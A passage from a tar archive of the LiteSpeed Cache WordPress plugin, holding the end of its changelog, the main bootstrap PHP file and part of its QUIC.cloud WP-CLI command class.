**ESI** Fixed a no-cache issue in no-vary ESI requests that occurred when `Login Cookie` was set. * **ESI** ESI will no longer send cookie update headers. * **Vary** Vary name correction, which used to happen in the `after_setup_theme` hook, now happens later in the `init` hook. * **Crawler** Enhanced hash generation function for cryptographic security. * **Crawler** Added back `Role Simulator` w/ IP limited to `127.0.0.1` only. Use `LITESPEED_CRAWLER_LOCAL_PORT` to use 80 if original server does not support 443. * **Crawler** Enhanced Role Simulator security by disallowing editor or above access in settings. * **Crawler** Defaulted and limited crawler `Run Duration` maximum to 900 seconds and dropped the setting. * **Crawler** Crawler will be stopped when load limit setting is 0. * **Crawler** Dropped `Delay` setting. Added PHP const `LITESPEED_CRAWLER_USLEEP` support. * **Crawler** Dropped `Timeout` setting. Added PHP const `LITESPEED_CRAWLER_TIMEOUT` support. * **Crawler** Dropped `Threads` setting. Added PHP const `LITESPEED_CRAWLER_THREADS` support. * **Crawler** Dropped `Interval Between Runs` setting. Added PHP const `LITESPEED_CRAWLER_RUN_INTERVAL` support. * **Crawler** Dropped `Sitemap Timeout` setting. Added PHP const `LITESPEED_CRAWLER_MAP_TIMEOUT` support. * **Crawler** Dropped `Drop Domain from Sitemap` setting. Added PHP const `LITESPEED_CRAWLER_DROP_DOMAIN` support. * **Crawler** Fixed wrong path of .pid file under wp-admin folder in certain case. (igobybus) * **Crawler** Show an empty map error and disabled crawler when the map is not set yet. * **Page Optimize** Updated request link parser to follow the site permalink. (Mijnheer Eetpraat #766) * **Page Optimize** Updated latest CSS/JS optimization library to fix issues for RGB minification and external imports when combining CSS. * **Page Optimize** Exclude Google Analytics from JavaScript optimization. (James M. Joyce #269 PR#726) * **Page Optimize** Fixed typo in `LITESPEED_NO_OPTM` constant definition. (Roy Orbitson PR#796) * **CDN** Fixed CDN replacement for inline CSS url with round brackets case. (agodbu) * **GUI** Added an Online Service tab under General menu. * **GUI** Added a QUIC.cloud CDN tab. * **GUI** Combined all Crawler settings to a single setting tab. * **GUI** Switch buttons rtl compatibility. (Eliza/Mehrshad Darzi #603) * **GUI** Fixed an issue where an irremovable banner couldn't be echoed directly. * **GUI** Limited page speed chart to cacheable servers only. * **Tag** Fixed a potential warning in tags. (ikiterder) * **Tag** Appended AJAX action to cache tags. * **Tag** Dropped normal HTTP code. Only error codes (403/404/500) will be used for tags. * **Misc** Fixed fatal activation error on Network installation when no other plugins are active. (PR#808 #9496550) * **Misc** Improved README file by adding minimum supported PHP/WordPress versions. (Viktor Szépe) * **Misc** Added reliance on just-in-time translation loading. (Pascal Birchler #738) * **Misc** Will now check whether the filename is valid before saving a file to fix the possible Object Cache log issue. (Mahdi Akrami #761) * **Misc** Fixed PHP 7.2 compatibility in cloud message. (Viktor Szépe #771) * **Misc** Incompatibility warning banner for third party plugins is now dismissible. * **Misc** Generated robots.txt file under litespeed folder to discourage search engine indexing of static resource files. (djwilko12) * **Debug** Escalated debug initialization to as early as possible to allow more configuration information to be logged. * **3rd** Fixed warning in Buddy Press code integration. (Viktor Szépe/antipole PR#778) = 6.5.4 - Dec 16 2024 = * **Page Optimize** Fixed Google Fonts broken with the Async option. (HivePress #787) = 6.5.3 - Dec 4 2024 = * **Misc** Quote escaped in attributes when building HTML. (CVE-2024-51915) = 6.5.2 - Oct 17 2024 = * **Crawler** Removed barely used Role Simulator from Crawler, to prevent potential security issues. * **Misc** Removed `mt_srand` function in random hash generation to slightly improve the hash result. = 6.5.1 - Sep 25 2024 = * **Security** This release includes two security updates to enhance the post validation of the editor (CVE-2024-47373), and to secure the GUI queue display from malicious vary input (CVE-2024-47374). * **Media** Sanitized dimensions for the images when replacing with placeholders. (TaiYou) * **Page Optimize** Sanitized vary value in queue list. (TaiYou) * **Cloud** Silent API error when failing to retrieve news updates. = 6.5.0.2 - Sep 6 2024 = * **Debug** Compatibility improvement for WP installations w/o `AUTH_KEY` defined in `wp-config.php`. = 6.5.0.1 - Sep 4 2024 = * 🔥**Debug** Fixed a corner case fatal error when Object Cache is ON but failed to connect, and `wp-content/litespeed` directory is not writable, and debug option is ON. = 6.5 - Sep 4 2024 = *❗**Security** This release includes several debug log improvements for improved security, as listed below. Update strongly recommended. * **Debug** Moved debug log to litespeed individual folder `/wp-content/litespeed/debug/`. * **Debug** Disallowed visits to `/litespeed/debug/` folder log files in .htaccess. * **Debug** Dropped const `LSCWP_DEBUG_PATH` support. * **Debug** Renamed `debug.purge.log` to `purge.log`. * **Debug** Added dummy `index.php` for debug folder. * **Debug** Used random string for log filenames. * **Debug** Removed cookies-related info. (Thanks to Rafie) * **Debug** Dropped `Log Cookies` option. * **Report** Escaped report content to protect it from potential XSS attack. (Islam R alsaid #505746) * **ESI** Added nonce for Advanced Custom Fields + Advanced Forms. (David Lapointe Gilbert #439) * **Purge** Run ACTION_PURGE_EMPTYCACHE even if cache is disabled in network admin. (Philip #453) * **Page Optimize** Disable UCSS exclusion when UCSS is inactived. (#640) * **3rd** Fixed undefined warning in WooCommerce Widgets. (Lolosan #719) * **3rd** Correct the integration with User Switching. (John Blackbourn #725) * **3rd** Fixed Admin Bar Missing issue on DIVI + Elementor frontend. (thyran/robertstaddon PR#727) = 6.4.1 - Aug 19 2024 = * ❗**Security** This release patches a security issue that may affect previous LSCWP versions since v1.9. * 🐞**Page Optimize** Fixed HTML minification returning blank page issue. (#706) * 🐞**CDN** Fixed a bug when Cloudflare status option is empty. (#684 #992174) * **Core** Minimum required WP version escalated to WP v4.9. = 6.4 - Aug 13 2024 = * **Cache** Corrected QC and LSADC cache hit status. * **Cloud** Allow partner info removal in QUIC.cloud notification. * **Crawler** Separated CSS preparation validation from crawler validation. * **GUI** Moved `WordPress Image Quality Control` setting from `Image Optimization` menu to `Page Optimization` menu. * **3rd** Add Elementor Edit button back in ESI. (PR#635) * **3rd** Fixed Instant click potential conflict w/ other plugins. = 6.3.0.1 - Jul 29 2024 = * 🔥🐞**Rest** Disabled WP default Editor cache for REST requests to fix editor errors. (Shivam) * **Cache** Supported `cache_nocacheable.txt` predefined settings. = 6.3 - Jul 22 2024 = * 🌱**Page Optimize** HTML Keep Comments: When minifying HTML do not discard comments that match a specified pattern. (#328853) * 🌱**Cache** Cache POST requests. Now can configure POST/GET AJAX requests to be cached. (#647300) * **Cache** Bypass admin initialization when doing ajax call. (Tim) * **Cache** Better control over the cache location #541 (Gal Baras/Tanvir Israq) * **Cloud** Added nonce for callback validation to enhance security. (Chloe@Wordfence) * **Cloud** Fixed an error message for daily quota. * **Cloud** Display error message when communicating with QUIC.cloud causes a token error. * **ESI** Bypass ESI at an earlier stage when getting `DONOTCACHEPAGE`. * **ESI** Added ESI nonce for Events Calendar and jetMenu mobile hamburger menu. (#306983 #163710 PR#419) * **ESI** Added WP Data Access nonce (PR#665) * **ESI** Added WP User Frontend ESI nonce (PR#675) * **Media** Ignored images from JS in image size detection (PR#660) * **GUI** Moved Preset menu from network level to site level for multisite networks. * **GUI** Suppressed sitemap generation message if not triggered manually. * **GUI** Added CloudFlare purge to front end menu. * **GUI** Allowed customized partner CDN login link on dash. * **Page Optimize** Cleaned up litespeed_url table when clearing url files. (PR#664) * **Page Optimize** Updated Instant Click library to version 5.2.0. * **Page Optimize** Added Flatsome theme random string excludes. (PR#415) * **Page Optimize** Exclude Cloudflare turnstile from JS optimizations. (Tobolo) * **Page Optimize** Fixed Cloudflare Turnstile issues. (Contributolo PR#671/672) * **Object** Improved debug log for object cache status. (PR#669) * **Object** Added brief parseable header comments to the drop-in file. (OllieJones) * **Debug** Trimmed debug log. * **Misc** Improved compatibility and sped up resolving for JSON functions `json_encode/json_decode`. (hosni/szepeviktor #693) * **Misc** Fixed typos in params and comments. (szepeviktor #688) * **Image Optimization** Fixed an issue which suppressed new requests when there were no new images in the library but there were unprocessed images in the send queue. * **Image Optimization** Improved Cloud side quota check by disallowing new requests if notified but not pulled. * **Image Optimization** Keep image attributes when replacing dimensions. (PR#686 #381779) = 6.2.0.1 - Apr 25 2024 = * 🔥🐞**Page Optimize** Fixed the image display issue that occurs with Elementor's `data-settings` attribute when the WebP image is not yet ready. (kanten/cbwwebmaster/reedock #132840 #680939 #326525) = 6.2 - Apr 23 2024 = * 🌱**Crawler** Added Crawler hit/miss filter. (#328853) * 🌱**CLI** Image optimization now supports `wp litespeed-image batch_switch orig/optm`. (A2Hosting) * 🌱**VPI** Auto preload VPI images. (Ankit) * **Object** Added support for username/password authentication for Redis (PR#616 Donatas Abraitis/hostinger) * **Page Optimize** Now supporting Elementors data-settings WebP replacement. (Thanks to Ryan D) * **Cache** Send `Cache-Control: no-cache, no-store, must-revalidate, max-age=0` when page is not cacheable. (asafm7/Ruikai) * **Cache** Cache control will respect `X-Http-Method-Override` now. (George) * **Cache** No cache for `X-Http-Method-Override: HEAD`. (George) * **Cache** Specified LSCWP in adv-cache compatible file. * **Cache** Fixed redirection loop if query string has tailing ampersand (#389629) * **Cache** Dropped "Cache Favicon.ico" option as it is redundant with 404 cache. (Lauren) * **Cache** Fixed deprecated PHP v8 warning in page redirection. (Issue#617 dcx15) * **Cloud** REST callback used ACL for QC ips validation. * **Cloud** Fixed a typo in parsing cloud msg which prevented error messages to show. * **Cloud** Carried on PHP ver for better version detection purpose. * **Cloud** Escaped token to show correctly in report. * **Cloud** Fixed a QC cloud ip verification setup failure in PHP 5.3. * 🐞**Cloud** Fixed a continual new version detection. * 🐞**Image Optimize** Fixed a summary counter mismatch for finished images. (A2Hosting) * **CDN** Auto CDN setup compatibility with WP versions less than 5.3. * 🐞**CDN** Fixed wrong replacement of non image files in image replacement. (Lucas) * **GUI** Further filtered admin banner messages to prevent from existing danger code in database. * **REST** Fixed a potential PHP warning in REST check when param is empty. (metikar) = 6.1 - Feb 1 2024 = * 🌱**Database** New Clear Orphaned Post Meta optimizer function. * **Image Optimize** Fixed possible PHP warning for WP requests library response. * **Image Optimize** Unlocked `noabort` to all async tasks to avoid image optimization timeout. (Peter Wells) * **Image Optimize** Fixed an issue where images weren't being pulled with older versions of WordPress. (PR#608) * **Image Optimize** Improved exception handling when node server cert expire. * 🐞**Image Optimize** The failed to pull images due to 404 expiry will now be able to send the request again. * **Crawler** CLI will now be able to force crawling even if a crawl was recently initiated within the plugin GUI. * **Page Optimize** Fixed a dynamic property creation warning in PHP8. (PR#606) * **Page Optimize** Fixed an issue where getimagesize could cause page optimization to fail. (PR#607) * **Tag** Fixed an array to string conversion warning. (PR#604) * **Object Cache** Return false to prevent PHP warning when Redis fails to set a value. (PR#612) * **Cache Tag** Fixed an issue where $wp_query is null when getting cache tags. (PR#589) = 6.0.0.1 - Dec 15 2023 = * 🐞**Image Optimize** Grouped the taken notification to regional center servers to reduce the load after image pulled. = 6.0 - Dec 12 2023 = * 🌱**Image Optimize** Parallel pull. (⭐ Contributed by Peter Wells #581) * 🌱**Cache** CLI Crawler. * 🌱**Cache** New Vary Cookies option. * 🌱**Media** New Preload Featured Image option. (Ankit) * **Core** Codebase safety review. (Special thanks to Rafie Muhammad @ Patchstack) * **Purge** Purge will not show QC message if no queue is cleared. * **Purge** Fixed a potential warning when post type is not as expected. (victorzink) * **Conf** Server IP field may now be emptied. (#111647) * **Conf** CloudFlare CDN setting vulnerability patch. (Gulshan Kumar #541805) * **Crawler** Suppressed sitemap generation msg when running by cron. * **Crawler** PHP v8.2 Dynamic property creation warning fix. (oldrup #586) * **VPI** VPI can now support non-alphabet filenames. * **VPI** Fixed PHP8.2 deprecated warning. (Ryan D) * **ESI** Fixed ESI nonce showing only HTML comment issue. (Giorgos K.) * 🐞**Page Optimize** Fixed a fatal PHP error caused by the WHM plugin's Mass Enable for services not in use. (Michael) * 🐞**Network** Fix in-memory options for multisites. (Tynan #588) * **Network** Correct `Disable All Features` link for Multisite. * 🐞**Image Optimize** Removing original image will also remove optimized images. * **Image Optimize** Increased time limit for pull process. * **Image Optimize** Last pull time and cron tag now included in optimization summary. * **Image Optimize** Fixed Elementors Slideshow unusual background images. (Ryan D) * 🐞**Database Optimize** Fix an issue where cleaning post revisions would fail while cleaning postmeta. (Tynan #596) * **Crawler** Added status updates to CLI. (Lars) * **3rd** WPML product category purge for WooCommerce. (Tynan #577) = 5.7.0.1 - Oct 25 2023 = * **GUI** Improvements to admin banner messaging. (#694622) * **CDN** Improvements to CDN Setup. (#694622) * **Image Optimize** Improvements to the process of checking image identification. (#694622) = 5.7 - Oct 10 2023 = * 🌱**Page Optimize** New option available: Preconnect. (xguiboy/Mukesh Patel) * 🌱**3rd** New Vary for Mini Cart option for WooCommerce. (Ruikai) * **Cloud** Force syncing the configuration to QUIC.cloud if CDN is reenabled. * **Cloud** Force syncing the configuration to QUIC.cloud if domain key is readded. * **Cloud** Limit multi-line fields when posting to QC. * **Cache** Treat HEAD requests as cacheable as GET. (George Wang) * 🐞**ESI** Patched a possible vulnerability issue. (István Márton@Wordfence #841011) * 🐞**ESI** Overwrite SCRIPT_URI to prevent ESI sub request resulting in redirections. (Tobolo) * 🐞**Image Optimize** Bypass unnecessary image processing when images were only partially optimized. (Ruikai) * 🐞**Guest** Guest mode will not enable WebP directly anymore. (Michael Heymann) * **CDN** Auto disable CDN if CDN URL is invalid. (Ruikai) * **CDN** Fixed a null parameter warning for PHP v8.1 (#584) * **API** Added `litespeed_media_add_missing_sizes` filter to allow bypassing Media's "add missing sizes" option (for Guest Optimization and otherwise). (PR #564) * **Guest** Fixed soft 404 and robots.txt report for guest.vary.php. * **Vary** Enabled `litespeed_vary_cookies` for LSWS Enterprise. * **GUI** Stopped WebP tip from wrongly displaying when Guest Mode is off. * **GUI** Added QUIC.cloud promotion postbox on dashboard page. * **3rd** Added `pagespeed ninja` to blocklist due to its bad behavior. ���������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/litespeed-cache.php���������������������������������������������������������0000644�����������������00000017557�15233526476�0015030 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Plugin Name: LiteSpeed Cache * Plugin URI: https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration * Description: High-performance page caching and site optimization from LiteSpeed * Version: 7.8.0.1 * Author: LiteSpeed Technologies * Author URI: https://www.litespeedtech.com * License: GPLv3 * License URI: https://www.gnu.org/licenses/gpl-3.0.html * Text Domain: litespeed-cache * Domain Path: /lang * * @package LiteSpeed * * Copyright (C) 2015-2026 LiteSpeed Technologies, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ defined( 'WPINC' ) || exit(); if ( defined( 'LSCWP_V' ) ) { return; } ! defined( 'LSCWP_V' ) && define( 'LSCWP_V', '7.8.0.1' ); ! defined( 'LSCWP_CONTENT_DIR' ) && define( 'LSCWP_CONTENT_DIR', WP_CONTENT_DIR ); ! defined( 'LSCWP_DIR' ) && define( 'LSCWP_DIR', __DIR__ . '/' ); // Full absolute path '/var/www/html/***/wp-content/plugins/litespeed-cache/' or MU ! defined( 'LSCWP_BASENAME' ) && define( 'LSCWP_BASENAME', 'litespeed-cache/litespeed-cache.php' ); // LSCWP_BASENAME='litespeed-cache/litespeed-cache.php' /** * This needs to be before activation because admin-rules.class.php need const `LSCWP_CONTENT_FOLDER` * This also needs to be before cfg.cls init because default cdn_included_dir needs `LSCWP_CONTENT_FOLDER` * * @since 5.2 Auto correct protocol for CONTENT URL */ $wp_content_url = WP_CONTENT_URL; $site_url = site_url( '/' ); if ( 'http:' === substr( $wp_content_url, 0, 5 ) && 'https' === substr( $site_url, 0, 5 ) ) { $wp_content_url = str_replace( 'http://', 'https://', $wp_content_url ); } ! defined( 'LSCWP_CONTENT_FOLDER' ) && define( 'LSCWP_CONTENT_FOLDER', str_replace( $site_url, '', $wp_content_url ) ); // `wp-content` unset( $site_url ); ! defined( 'LSWCP_PLUGIN_URL' ) && define( 'LSWCP_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); // Full URL path '//example.com/wp-content/plugins/litespeed-cache/' /** * Static cache files consts * * @since 3.0 */ ! defined( 'LITESPEED_DATA_FOLDER' ) && define( 'LITESPEED_DATA_FOLDER', 'litespeed' ); ! defined( 'LITESPEED_STATIC_URL' ) && define( 'LITESPEED_STATIC_URL', $wp_content_url . '/' . LITESPEED_DATA_FOLDER ); // Full static cache folder URL '//example.com/wp-content/litespeed' unset( $wp_content_url ); ! defined( 'LITESPEED_STATIC_DIR' ) && define( 'LITESPEED_STATIC_DIR', LSCWP_CONTENT_DIR . '/' . LITESPEED_DATA_FOLDER ); // Full static cache folder path '/var/www/html/***/wp-content/litespeed' ! defined( 'LITESPEED_TIME_OFFSET' ) && define( 'LITESPEED_TIME_OFFSET', get_option( 'gmt_offset' ) * 60 * 60 ); // Placeholder for lazyload img ! defined( 'LITESPEED_PLACEHOLDER' ) && define( 'LITESPEED_PLACEHOLDER', 'data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=' ); // Auto register LiteSpeed classes require_once LSCWP_DIR . 'autoload.php'; // Define CLI if ( ( defined( 'WP_CLI' ) && constant('WP_CLI') ) || 'cli' === PHP_SAPI ) { ! defined( 'LITESPEED_CLI' ) && define( 'LITESPEED_CLI', true ); // Register CLI cmd if ( method_exists( 'WP_CLI', 'add_command' ) ) { WP_CLI::add_command( 'litespeed-option', 'LiteSpeed\CLI\Option' ); WP_CLI::add_command( 'litespeed-purge', 'LiteSpeed\CLI\Purge' ); WP_CLI::add_command( 'litespeed-online', 'LiteSpeed\CLI\Online' ); WP_CLI::add_command( 'litespeed-image', 'LiteSpeed\CLI\Image' ); WP_CLI::add_command( 'litespeed-debug', 'LiteSpeed\CLI\Debug' ); WP_CLI::add_command( 'litespeed-presets', 'LiteSpeed\CLI\Presets' ); WP_CLI::add_command( 'litespeed-crawler', 'LiteSpeed\CLI\Crawler' ); WP_CLI::add_command( 'litespeed-database', 'LiteSpeed\CLI\Database' ); } } // Server type if ( ! defined( 'LITESPEED_SERVER_TYPE' ) ) { $http_x_lscache = isset( $_SERVER['HTTP_X_LSCACHE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_LSCACHE'] ) ) : ''; $lsws_edition = isset( $_SERVER['LSWS_EDITION'] ) ? sanitize_text_field( wp_unslash( $_SERVER['LSWS_EDITION'] ) ) : ''; $server_software = isset( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ) : ''; if ( $http_x_lscache ) { define( 'LITESPEED_SERVER_TYPE', 'LITESPEED_SERVER_ADC' ); } elseif ( 0 === strpos( $lsws_edition, 'Openlitespeed' ) ) { define( 'LITESPEED_SERVER_TYPE', 'LITESPEED_SERVER_OLS' ); } elseif ( 'LiteSpeed' === $server_software ) { define( 'LITESPEED_SERVER_TYPE', 'LITESPEED_SERVER_ENT' ); } else { define( 'LITESPEED_SERVER_TYPE', 'NONE' ); } } // Checks if caching is allowed via server variable if ( ! empty( $_SERVER['X-LSCACHE'] ) || 'LITESPEED_SERVER_ADC' === LITESPEED_SERVER_TYPE || defined( 'LITESPEED_CLI' ) ) { ! defined( 'LITESPEED_ALLOWED' ) && define( 'LITESPEED_ALLOWED', true ); } // ESI const definition if ( ! defined( 'LSWCP_ESI_SUPPORT' ) ) { define( 'LSWCP_ESI_SUPPORT', LITESPEED_SERVER_TYPE !== 'LITESPEED_SERVER_OLS' ); } if ( ! defined( 'LSWCP_TAG_PREFIX' ) ) { define( 'LSWCP_TAG_PREFIX', substr( md5( LSCWP_DIR ), -3 ) ); } if ( ! function_exists( 'litespeed_exception_handler' ) ) { /** * Handle exception * * @param int $errno Error number. * @param string $errstr Error string. * @param string $errfile Error file. * @param int $errline Error line. * @throws \ErrorException When an error is encountered. */ function litespeed_exception_handler( $errno, $errstr, $errfile, $errline ) { throw new \ErrorException( esc_html( $errstr ), 0, absint( $errno ), esc_html( $errfile ), absint( $errline ) ); } } if ( ! function_exists( 'litespeed_define_nonce_func' ) ) { /** * Overwrite the WP nonce funcs outside of LiteSpeed namespace * * @since 3.0 */ function litespeed_define_nonce_func() { /** * If the nonce is in none_actions filter, convert it to ESI * * @param mixed $action Action name or -1. * @return string */ function wp_create_nonce( $action = -1 ) { if ( ! defined( 'LITESPEED_DISABLE_ALL' ) || ! LITESPEED_DISABLE_ALL ) { $control = \LiteSpeed\ESI::cls()->is_nonce_action( $action ); if ( null !== $control ) { $params = array( 'action' => $action, ); return \LiteSpeed\ESI::cls()->sub_esi_block( 'nonce', 'wp_create_nonce ' . $action, $params, $control, true, true, true ); } } return wp_create_nonce_litespeed_esi( $action ); } /** * Ori WP wp_create_nonce * * @param mixed $action Action name or -1. * @return string */ function wp_create_nonce_litespeed_esi( $action = -1 ) { $uid = get_current_user_id(); if ( ! $uid ) { /** This filter is documented in wp-includes/pluggable.php */ $uid = apply_filters( 'nonce_user_logged_out', $uid, $action ); } $token = wp_get_session_token(); $i = wp_nonce_tick(); return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); } } } if ( ! function_exists( 'run_litespeed_cache' ) ) { /** * Begins execution of the plugin. * * @since 1.0.0 */ function run_litespeed_cache() { // Check minimum PHP requirements, which is 7.2 at the moment. if ( version_compare( PHP_VERSION, '7.2.0', '<' ) ) { return; } // Check minimum WP requirements, which is 5.3 at the moment. if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) { return; } \LiteSpeed\Core::cls(); } run_litespeed_cache(); } �������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/cli/online.cls.php����������������������������������������������������������0000644�����������������00000021775�15233526476�0014621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * QUIC.cloud API CLI for LiteSpeed integration. * * @package LiteSpeed\CLI */ namespace LiteSpeed\CLI; defined( 'WPINC' ) || exit(); use LiteSpeed\Debug2; use LiteSpeed\Cloud; use WP_CLI; /** * QUIC.cloud API CLI */ class Online { /** * Cloud instance. * * @var Cloud */ private $cloud; /** * Constructor for Online CLI. */ public function __construct() { Debug2::debug( 'CLI_Cloud init' ); $this->cloud = Cloud::cls(); } /** * Init domain on QUIC.cloud server (See https://quic.cloud/terms/) * * ## OPTIONS * * ## EXAMPLES * * # Activate domain on QUIC.cloud (! Require SERVER IP setting to be set first) * $ wp litespeed-online init */ public function init() { $resp = $this->cloud->init_qc_cli(); if ( ! empty( $resp['qc_activated'] ) ) { $main_domain = ! empty( $resp['main_domain'] ) ? $resp['main_domain'] : false; $this->cloud->update_qc_activation( $resp['qc_activated'], $main_domain ); WP_CLI::success( 'Init successfully. Activated type: ' . $resp['qc_activated'] ); } else { WP_CLI::error( 'Init failed!' ); } } /** * Init domain CDN service on QUIC.cloud server (See https://quic.cloud/terms/) * * ## OPTIONS * * [--method=<method>] * : The method to use (e.g., cname, ns, cfi). * * [--ssl-cert=<cert>] * : Path to SSL certificate. * * [--ssl-key=<key>] * : Path to SSL key. * * [--cf-token=<token>] * : Cloudflare token for CFI method. * * [--format=<format>] * : Output format (e.g., json). * * ## EXAMPLES * * # Activate domain CDN on QUIC.cloud (support --format=json) * $ wp litespeed-online cdn_init --method=cname|ns * $ wp litespeed-online cdn_init --method=cname|ns --ssl-cert=xxx.pem --ssl-key=xxx * $ wp litespeed-online cdn_init --method=cname|ns --ssl-cert=xxx.pem --ssl-key=xxx --json * $ wp litespeed-online cdn_init --method=cfi --cf-token=xxxxxxxx * $ wp litespeed-online cdn_init --method=cfi --cf-token=xxxxxxxx --ssl-cert=xxx.pem --ssl-key=xxx * $ wp litespeed-online cdn_init --method=cfi --cf-token=xxxxxxxx --ssl-cert=xxx.pem --ssl-key=xxx --format=json * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function cdn_init( $args, $assoc_args ) { if ( empty( $assoc_args['method'] ) ) { WP_CLI::error( 'Init CDN failed! Missing parameters `--method`.' ); return; } if ( ( ! empty( $assoc_args['ssl-cert'] ) && empty( $assoc_args['ssl-key'] ) ) || ( empty( $assoc_args['ssl-cert'] ) && ! empty( $assoc_args['ssl-key'] ) ) ) { WP_CLI::error( 'Init CDN failed! SSL cert must be present together w/ SSL key.' ); return; } if ( 'cfi' === $assoc_args['method'] && empty( $assoc_args['cf-token'] ) ) { WP_CLI::error( 'Init CDN failed! CFI must set `--cf-token`.' ); return; } $cert = ! empty( $assoc_args['ssl-cert'] ) ? $assoc_args['ssl-cert'] : ''; $key = ! empty( $assoc_args['ssl-key'] ) ? $assoc_args['ssl-key'] : ''; $cf_token = ! empty( $assoc_args['cf-token'] ) ? $assoc_args['cf-token'] : ''; $resp = $this->cloud->init_qc_cdn_cli( $assoc_args['method'], $cert, $key, $cf_token ); if ( ! empty( $resp['qc_activated'] ) ) { $main_domain = ! empty( $resp['main_domain'] ) ? $resp['main_domain'] : false; $this->cloud->update_qc_activation( $resp['qc_activated'], $main_domain, true ); } if ( ! empty( $assoc_args['format'] ) && 'json' === $assoc_args['format'] ) { WP_CLI::log( wp_json_encode( $resp ) ); return; } if ( ! empty( $resp['qc_activated'] ) ) { WP_CLI::success( 'Init QC CDN successfully. Activated type: ' . $resp['qc_activated'] ); } else { WP_CLI::error( 'Init QC CDN failed!' ); } if ( ! empty( $resp['cname'] ) ) { WP_CLI::success( 'cname: ' . $resp['cname'] ); } if ( ! empty( $resp['msgs'] ) ) { WP_CLI::success( 'msgs: ' . wp_json_encode( $resp['msgs'] ) ); } } /** * Link user account by api key * * ## OPTIONS * * [--email=<email>] * : User email for QUIC.cloud account. * * [--api-key=<key>] * : API key for QUIC.cloud account. * * ## EXAMPLES * * # Link user account by api key * $ wp litespeed-online link --email=xxx@example.com --api-key=xxxx * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function link( $args, $assoc_args ) { if ( empty( $assoc_args['email'] ) || empty( $assoc_args['api-key'] ) ) { WP_CLI::error( 'Link to QUIC.cloud failed! Missing parameters `--email` or `--api-key`.' ); return; } $resp = $this->cloud->link_qc_cli( $assoc_args['email'], $assoc_args['api-key'] ); if ( ! empty( $resp['qc_activated'] ) ) { $main_domain = ! empty( $resp['main_domain'] ) ? $resp['main_domain'] : false; $this->cloud->update_qc_activation( $resp['qc_activated'], $main_domain, true ); WP_CLI::success( 'Link successfully!' ); WP_CLI::log( wp_json_encode( $resp ) ); } else { WP_CLI::error( 'Link failed!' ); } } /** * Sync usage data from QUIC.cloud * * ## OPTIONS * * [--format=<format>] * : Output format (e.g., json). * * ## EXAMPLES * * # Sync QUIC.cloud service usage info * $ wp litespeed-online sync * $ wp litespeed-online sync --json * $ wp litespeed-online sync --format=json * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function sync( $args, $assoc_args ) { $json = $this->cloud->sync_usage(); if ( ! empty( $assoc_args['format'] ) ) { WP_CLI::print_value( $json, $assoc_args ); return; } WP_CLI::success( 'Sync successfully' ); $list = array(); foreach ( Cloud::$services as $v ) { $list[] = array( 'key' => $v, 'used' => ! empty( $json['usage.' . $v]['used'] ) ? $json['usage.' . $v]['used'] : 0, 'quota' => ! empty( $json['usage.' . $v]['quota'] ) ? $json['usage.' . $v]['quota'] : 0, 'PayAsYouGo_Used' => ! empty( $json['usage.' . $v]['pag_used'] ) ? $json['usage.' . $v]['pag_used'] : 0, 'PayAsYouGo_Balance' => ! empty( $json['usage.' . $v]['pag_bal'] ) ? $json['usage.' . $v]['pag_bal'] : 0, ); } WP_CLI\Utils\format_items( 'table', $list, array( 'key', 'used', 'quota', 'PayAsYouGo_Used', 'PayAsYouGo_Balance' ) ); } /** * Check QC account status * * ## OPTIONS * * ## EXAMPLES * * # Check QC account status * $ wp litespeed-online cdn_status */ public function cdn_status() { $resp = $this->cloud->cdn_status_cli(); WP_CLI::log( wp_json_encode( $resp ) ); } /** * List all QUIC.cloud services * * ## OPTIONS * * [--format=<format>] * : Output format (e.g., json). * * ## EXAMPLES * * # List all services tag * $ wp litespeed-online services * $ wp litespeed-online services --json * $ wp litespeed-online services --format=json * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function services( $args, $assoc_args ) { if ( ! empty( $assoc_args['format'] ) ) { WP_CLI::print_value( Cloud::$services, $assoc_args ); return; } $list = array(); foreach ( Cloud::$services as $v ) { $list[] = array( 'service' => $v, ); } WP_CLI\Utils\format_items( 'table', $list, array( 'service' ) ); } /** * List all QUIC.cloud servers in use * * ## OPTIONS * * [--format=<format>] * : Output format (e.g., json). * * ## EXAMPLES * * # List all QUIC.cloud servers in use * $ wp litespeed-online nodes * $ wp litespeed-online nodes --json * $ wp litespeed-online nodes --format=json * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function nodes( $args, $assoc_args ) { $json = Cloud::get_summary(); $list = array(); $json_output = array(); foreach ( Cloud::$services as $v ) { $server = ! empty( $json['server.' . $v] ) ? $json['server.' . $v] : ''; $list[] = array( 'service' => $v, 'server' => $server, ); $json_output[] = array( $v => $server ); } if ( ! empty( $assoc_args['format'] ) ) { WP_CLI::print_value( $json_output, $assoc_args ); return; } WP_CLI\Utils\format_items( 'table', $list, array( 'service', 'server' ) ); } /** * Detect closest node server for current service * * ## OPTIONS * * [<service>] * : Service to ping (e.g., img_optm). * * [--force] * : Force detection of the closest server. * * ## EXAMPLES * * # Detect closest node for one service * $ wp litespeed-online ping img_optm * $ wp litespeed-online ping 